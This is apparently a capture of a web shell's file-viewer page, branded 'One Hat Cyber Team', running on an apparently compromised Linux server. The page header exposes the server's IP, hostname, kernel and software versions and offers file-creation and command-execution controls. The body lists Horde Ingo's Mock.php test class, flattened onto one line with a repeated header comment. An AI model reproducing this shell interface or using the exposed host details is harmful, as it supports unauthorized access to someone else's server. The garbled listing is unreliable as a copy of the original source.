⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
ingo
/
lib
/
Storage
/
View File Name :
Mock.php
* @category Horde * @license http://www.horde.org/licenses/apache ASL * @package Ingo */ /** * Ingo_Storage_Mock is used for testing purposes. It just keeps the data * local and doesn't put it anywhere. * * @author Jason M. Felice
* @category Horde * @license http://www.horde.org/licenses/apache ASL * @package Ingo */ class Ingo_Storage_Mock extends Ingo_Storage { /** */ protected $_data = array(); /** */ protected function _retrieve($field, $readonly = false) { if (empty($this->_data[$field])) { switch ($field) { case self::ACTION_BLACKLIST: return new Ingo_Storage_Blacklist(); case self::ACTION_FILTERS: $ob = new Ingo_Storage_Filters(); include INGO_BASE . '/config/prefs.php'; $ob->setFilterList(unserialize($_prefs['rules']['value'])); return $ob; case self::ACTION_FORWARD: return new Ingo_Storage_Forward(); case self::ACTION_VACATION: return new Ingo_Storage_VacationTest(); case self::ACTION_WHITELIST: return new Ingo_Storage_Whitelist(); case self::ACTION_SPAM: return new Ingo_Storage_Spam(); default: return false; } } return $this->_data[$field]; } /** */ protected function _store($ob) { $this->_data[$ob->obType()] = $ob; } }